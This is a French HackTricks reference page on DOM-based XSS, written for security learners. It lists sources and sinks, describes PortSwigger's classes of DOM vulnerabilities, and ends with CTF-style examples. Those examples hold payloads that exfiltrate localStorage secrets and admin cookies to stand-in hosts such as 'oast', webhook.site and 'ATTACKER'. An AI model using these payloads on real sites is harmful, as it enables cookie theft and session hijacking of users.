DOM XSS
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Vulnérabilités DOM
Les vulnérabilités DOM se produisent lorsque des données contrôlées par un attaquant provenant de sources (comme location.search, document.referrer, ou document.cookie) sont transférées de manière non sécurisée vers des sinks. Les sinks sont des fonctions ou des objets (par ex., eval(), document.body.innerHTML) qui peuvent exécuter ou afficher du contenu dangereux si on leur fournit des données malveillantes.
- Sources sont des entrées que les attaquants peuvent manipuler, notamment les URLs, les cookies et les web messages.
- Sinks sont des points de sortie potentiellement dangereux où des données malveillantes peuvent provoquer des effets indésirables, comme l’exécution de scripts.
Le risque survient lorsque des données circulent d’une source vers un sink sans validation ou nettoyage approprié, permettant des attaques comme XSS.
Tip
Vous pouvez trouver une liste plus à jour des sources et sinks sur https://github.com/wisec/domxsswiki/wiki
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
Le sink innerHTML n’accepte pas les éléments script dans les navigateurs modernes, et les événements svg onload ne se déclencheront pas. Cela signifie que vous devrez utiliser des éléments alternatifs tels que img ou iframe.
Ce type de XSS est probablement le plus difficile à trouver, car vous devez regarder à l’intérieur du code JS, voir s’il utilise un objet dont la valeur que vous contrôlez, et, le cas échéant, vérifier s’il existe un moyen de l’exploiter pour exécuter du JS arbitraire.
Outils pour les trouver
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Extension de navigateur pour vérifier chaque donnée qui atteint un sink potentiel : https://github.com/kevin-mizu/domloggerpp
Exemples
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Les vulnérabilités Open redirect dans le DOM surviennent lorsqu’un script écrit des données, que l’attaquant peut contrôler, dans un sink capable d’initier une navigation vers un autre domaine.
Il est crucial de comprendre que l’exécution de code arbitraire, comme javascript:alert(1), est possible si vous contrôlez le début de l’URL où la redirection a lieu.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
Les vulnérabilités DOM-based cookie-manipulation se produisent lorsqu’un script intègre des données, contrôlables par un attaquant, dans la valeur d’un cookie. Cette vulnérabilité peut provoquer un comportement inattendu de la page web si le cookie est utilisé par le site. Elle peut aussi être exploitée pour réaliser une session fixation attack si le cookie sert à suivre les sessions utilisateur. Le principal sink associé à cette vulnérabilité est :
Sinks:
document.cookie
JavaScript Injection
From: https://portswigger.net/web-security/dom-based/javascript-injection
Les vulnérabilités d’injection JavaScript basées sur le DOM se produisent lorsqu’un script exécute des données — pouvant être contrôlées par un attaquant — en tant que code JavaScript.
Sinks :
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
From: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities se produisent lorsqu’un script assigne la propriété document.domain à partir de données que un attaquant peut contrôler.
La propriété document.domain joue un rôle clé dans l’enforcement de la same-origin policy par les navigateurs. Lorsque deux pages provenant d’origines différentes définissent leur document.domain sur la même valeur, elles peuvent interagir sans restriction. Bien que les navigateurs imposent certaines limites sur les valeurs assignables à document.domain, empêchant l’attribution de valeurs complètement étrangères à l’origine réelle de la page, des exceptions existent. Typiquement, les navigateurs permettent l’utilisation de sous-domaines ou de domaines parents.
Sinks:
document.domain
WebSocket-URL poisoning
Source : https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning se produit lorsqu’un script utilise des données contrôlables comme URL cible pour une connexion WebSocket.
Sinks:
The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.
Link manipulation
Source : https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities surviennent lorsqu’un script écrit des données contrôlables par l’attaquant dans une cible de navigation au sein de la page courante, comme un lien cliquable ou l’URL de soumission d’un formulaire.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
Source: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities surviennent lorsqu’un script écrit des données contrôlables par l’attaquant dans une requête Ajax qui est émise en utilisant un objet XmlHttpRequest.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Manipulation de chemin de fichier local
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Les vulnérabilités de manipulation de chemin de fichier local se produisent lorsqu’un script transmet des données contrôlables par un attaquant à une API de gestion de fichiers en tant que paramètre filename. Cette vulnérabilité peut être exploitée par un attaquant pour construire une URL qui, si elle est visitée par un autre utilisateur, pourrait amener le navigateur de l’utilisateur à ouvrir ou à écrire un fichier local arbitraire.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities se produisent lorsqu’un script incorpore des données contrôlées par l’attaquant dans une requête SQL côté client de manière non sécurisée.
Sinks:
executeSql()
HTML5-storage manipulation
Source : https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities surviennent lorsqu’un script stocke des données contrôlables par un attaquant dans le stockage HTML5 du navigateur (localStorage ou sessionStorage). Bien que cette action ne constitue pas intrinsèquement une vulnérabilité de sécurité, elle devient problématique si l’application lit ensuite les données stockées et les traite de façon non sécurisée. Cela pourrait permettre à un attaquant d’exploiter ce mécanisme de stockage pour effectuer d’autres attaques basées sur le DOM, telles que cross-site scripting et JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
Source: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities se produisent lorsqu’un script incorpore des données contrôlables par un attaquant dans une requête XPath.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
From: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities se produisent lorsqu’un script intègre des données contrôlées par un attaquant dans une chaîne qui est analysée comme une structure de données JSON puis traitée par l’application.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
Source: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities surviennent lorsqu’un script envoie des données contrôlables par un attaquant en tant que web message vers un autre document dans le navigateur. Un exemple de Web-message manipulation vulnérable se trouve sur PortSwigger’s Web Security Academy.
Sinks:
La méthode postMessage() d’envoi de web messages peut conduire à des vulnérabilités si l’event listener qui reçoit les messages traite les données entrantes de manière non sécurisée.
DOM-data manipulation
Source: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities surviennent lorsqu’un script écrit des données contrôlables par un attaquant dans un champ du DOM qui est utilisé dans l’UI visible ou la logique côté client. Cette vulnérabilité peut être exploitée par un attaquant pour construire une URL qui, si elle est visitée par un autre utilisateur, peut modifier l’apparence ou le comportement de l’UI côté client.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities se produisent lorsqu’un script transmet des données contrôlables par l’attaquant de façon non sécurisée à une API de plateforme problématique. Cela inclut des API qui, lorsqu’elles sont invoquées, peuvent amener l’ordinateur de l’utilisateur à consommer des quantités excessives de CPU ou d’espace disque. De telles vulnérabilités peuvent avoir des effets secondaires importants, tels que le navigateur restreignant la fonctionnalité du site en refusant les tentatives de stockage de données dans localStorage ou en interrompant les scripts trop gourmands.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Variables globales implicites & abus de window.name
Référencer name sans déclaration (var/let/const) renvoie à window.name. Parce que window.name persiste à travers les cross-origin navigations, un attaquant peut pré-semer le nom d’un browsing context avec du HTML/JS et plus tard faire en sorte que le code de la victime l’interprète comme des données de confiance :
- Ouvrez/naviguez la cible dans un contexte nommé que vous contrôlez :
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Ou réutiliser
window.openavec un nom de target spécialement conçu :
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Si l’application fait ensuite element.innerHTML = name (ou un sink similaire) sans assainissement, la chaîne contrôlée par l’attaquant window.name s’exécute dans l’origine cible, permettant du DOM XSS et l’accès au stockage same-origin.
Flux d’administration/automatisation : stockage prérempli & javascript: navigation
Les bots d’automatisation (par ex., Playwright) visitent souvent d’abord une page interne, y définissent des secrets dans localStorage/cookies, puis naviguent vers des URL fournies par l’utilisateur. Toute primitive DOM XSS (y compris l’abus de window.name) dans ce flux peut exfiltrer le secret prérempli :
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Si le bot ne restreint pas les schémas d’URL, le fait de fournir une URL javascript: (javascript:fetch(...)) exécute du code dans l’origine courante sans nouvelle navigation, entraînant un leak direct des valeurs de stockage.
Littéral de template innerHTML + lacunes de sanitisation partielle
Les frontends qui n’assainissent que certains champs mais interpolent toujours un champ non fiable directement dans innerHTML sont facilement exploitables. Exemple:
fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});
Si le champ non assaini est stocké côté serveur (par ex., le champ « details » d’un bug report), le payload devient stored DOM XSS pour tout utilisateur privilégié consultant la liste. Un simple payload tel que <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> s’exécute lorsqu’un admin ouvre la page et exfiltre ses cookies.
Quand l’app désactive explicitement SESSION_COOKIE_HTTPONLY (par ex., Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), le cookie volé donne immédiatement la session admin même si le secret de signature tourne à chaque démarrage (un secret_key aléatoire empêche la falsification, mais le vol fonctionne toujours).
Références
- Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise
- HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


